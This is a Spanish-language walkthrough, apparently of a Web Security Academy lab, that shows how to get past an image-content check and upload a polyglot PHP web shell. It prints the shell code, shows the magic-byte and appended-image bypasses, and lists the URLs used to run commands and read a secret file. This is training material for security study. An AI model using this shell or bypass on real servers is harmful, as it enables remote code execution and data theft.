File Upload Vulnerabilities Lab 6
Skills
- Remote code execution via polyglot web shell upload
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene una función
de carga de imágenes vulnerable
, aunque verifica
el contenido
del archivo
para confirmar
que es una imagen genuina
, aún es posible cargar y ejecutar código
del lado
del servidor
. Para resolver el laboratorio, debemos subir una web shell básica en PHP
, utilizarla para extraer
el contenido
del archivo /home/carlos/secret
y enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión
con nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Pulsamos en My account
e iniciamos sesión
con las credenciales wiener:peter
Vemos que existe un campo
de subida
de archivos
Si inspeccionamos
con donde
se aloja
la imagen
vemos que es en la ruta /resources/images
Nos creamos un archivo llamado shell.php
y lo subimos
1
2
3
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Al subir el archivo nos sale un error
Subimos
el archivo
nuevamente pero capturamos
la petición
con Burspuite
, he probado a subir un archivo con extensión .png
y con Content-type: image:/png
pero nos sigue dando el mismo error
Esto puede ser debido a los magic bytes
que tienen las imágenes https://en.wikipedia.org/wiki/List_of_file_signatures, en este caso he añadido GIF8;
lo cual me ha permitido bypassear
la validación
Otra forma de hacerlo sería descargar
una imagen
e introducir
la web shell
dentro. Al capturar
la petición
con Burpsuite
se cambiaría la extensión
de archivo a .php
y se enviaría
1
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Abrimos nuevamente el inspector
de chrome
y vemos que el archivo subido se aloja
en /files/avatars
Si accedemos a https://0aff00d7043967af80eda8750079008a.web-security-academy.net/files/avatars/shell.php?cmd=whoami
vemos que hemos logrado un RCE (Remote Code Execution)
Listamos
el contenido
de la home
de carlos https://0aff00d7043967af80eda8750079008a.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos
Obtenemos
el contenido
del archivo secret https://0aff00d7043967af80eda8750079008a.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret
Submiteamos
la solución